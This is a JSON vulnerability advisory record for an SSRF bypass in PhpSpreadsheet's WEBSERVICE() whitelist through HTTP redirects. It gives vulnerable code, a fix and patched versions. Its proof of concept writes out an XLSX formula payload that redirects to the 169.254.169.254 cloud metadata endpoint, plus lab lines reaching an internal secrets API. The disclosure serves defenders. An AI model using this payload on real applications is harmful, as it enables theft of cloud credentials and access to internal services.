{"id":"CVE-2026-59931","aliases":["GHSA-6hq5-7373-42rg"],"title":"PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist","summary":"PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist","severity":"high","cvss":7.7,"cwe":["CWE-918"],"vendor":"phpoffice","product":"phpoffice/phpspreadsheet","ecosystem":"composer","affected":["phpoffice/phpspreadsheet >= 4.0.0, <= 5.8.0","phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.6","phpoffice/phpspreadsheet >= 2.2.0, <= 2.4.6","phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.17","phpoffice/phpspreadsheet <= 1.30.5"],"patched":["phpoffice/phpspreadsheet 5.8.1","phpoffice/phpspreadsheet 3.10.7","phpoffice/phpspreadsheet 2.4.7","phpoffice/phpspreadsheet 2.1.18","phpoffice/phpspreadsheet 1.30.6"],"published":"2026-07-23","updated":"2026-07-23","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-6hq5-7373-42rg","references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"},{"url":"https://github.com/advisories/GHSA-6hq5-7373-42rg"}],"tags":["ghsa","composer"],"ingestedAt":"2026-07-23T15:18:38.069Z","epss":0.0053,"epssPercentile":0.42316,"slug":"CVE-2026-59931","body":"## Overview\n\n### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n    'http' => [\n        'user_agent' => 'Mozilla/5.0 ...',\n        // follow_location defaults to true\n        // max_redirects defaults to 20\n    ],\n];\n```\n\nPHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check — runs ONCE on the initial URL\n$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];\n$host = $parsed['host'] ?? '';\nif (!in_array($host, $domainWhiteList, true)) {\n    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request — follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet >= 5.4.0\n- Application calls `$spreadsheet->setDomainWhiteList([...])` with at least one domain\n- Application calls `$cell->getCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n<c r=\"A1\">\n  <f>_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")</f>\n</c>\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n   - Validates `whitelisted-domain.com` against the whitelist — **passes**\n   - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n   - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation**\n   - Returns the cloud metadata response as the cell's calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 → internal target\n\n# Test 1: Direct internal access — BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n→ Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain — BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n→ Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n    'http' => [\n        'user_agent' => '...',\n        'follow_location' => false,\n        'max_redirects' => 0,\n    ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---\n\n## Affected packages\n\n- `phpoffice/phpspreadsheet >= 4.0.0, <= 5.8.0`\n- `phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.6`\n- `phpoffice/phpspreadsheet >= 2.2.0, <= 2.4.6`\n- `phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.17`\n- `phpoffice/phpspreadsheet <= 1.30.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `phpoffice/phpspreadsheet 5.8.1`\n- `phpoffice/phpspreadsheet 3.10.7`\n- `phpoffice/phpspreadsheet 2.4.7`\n- `phpoffice/phpspreadsheet 2.1.18`\n- `phpoffice/phpspreadsheet 1.30.6`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":42.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}